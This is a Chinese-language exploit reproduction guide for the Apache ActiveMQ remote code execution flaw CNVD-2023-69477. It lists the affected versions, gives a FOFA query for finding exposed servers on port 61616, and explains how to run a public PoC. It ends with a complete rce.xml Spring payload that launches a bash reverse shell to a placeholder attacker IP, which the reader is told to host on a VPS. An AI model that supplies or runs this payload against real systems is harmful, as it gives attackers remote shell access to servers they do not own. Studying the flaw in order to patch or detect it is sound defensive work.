Apache ActiveMQ RCE漏洞复现（CNVD-2023-69477）

本文介绍: Ac tiveMQ是一个开源的消息代理和集成模式服务器，它支持Jav a 消息服务(JMS) API。它是Ap ac he Soft ware Found a tion下的一个项目，用于实现消息中间件，帮助不同的应用程序或系统之间进行通信。Ap ac he Ac tiveMQ 中存在远程代码执行漏洞，Apac he Ac tiveMQ在默认安装下开放了61616服务端口，而该端口并没有对传入数据进行适当的过滤，从而使攻击者能够构造恶意数据以实现远程代码执行。

0x01 产品简介

Ac tiveMQ是一个开源的消息代理和集成模式服务器，它支持Jav a 消息服务(JMS) API。它是Apac he Soft ware Found a tion下的一个项目，用于实现消息中间件，帮助不同的应用程序或系统之间进行通信。

0x02 漏洞 概述

Apache Ac tiveMQ 中存在远程代码执行漏洞，Apache ActiveMQ在默认安装下开放了61616服务端口，而该端口并没有对传入数据进行适当的过滤，从而使攻击者能够构造恶意数据以实现远程代码执行。

0x03 影响 范围

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16

0x04 复现 环境

FOFA：app=”APACHE-ActiveMQ” && port=”61616″

0x05 漏洞复现

PoC地址：https://github.com/trganda/ActiveMQ-RCE

把项目Get到本地，导入IDEA中运行

直接运行会发现报错：java: 警告: 源发行版 11 需要目标发行版 11

PS:这种一般是你idea的配置文件iml 与项目中配置的jdk 版本是不一致导致的

这里需要安装 jdk11，配置项目

漏洞利用

修改Main.java以下两处

反弹shell

将rce.xml，上传至vps

<?xml version="1.0" encoding="UTF-8" ?&gt;
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"&gt;
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"&gt;
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >&amp; /dev/tcp/your-ip/6666 0>&amp;1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>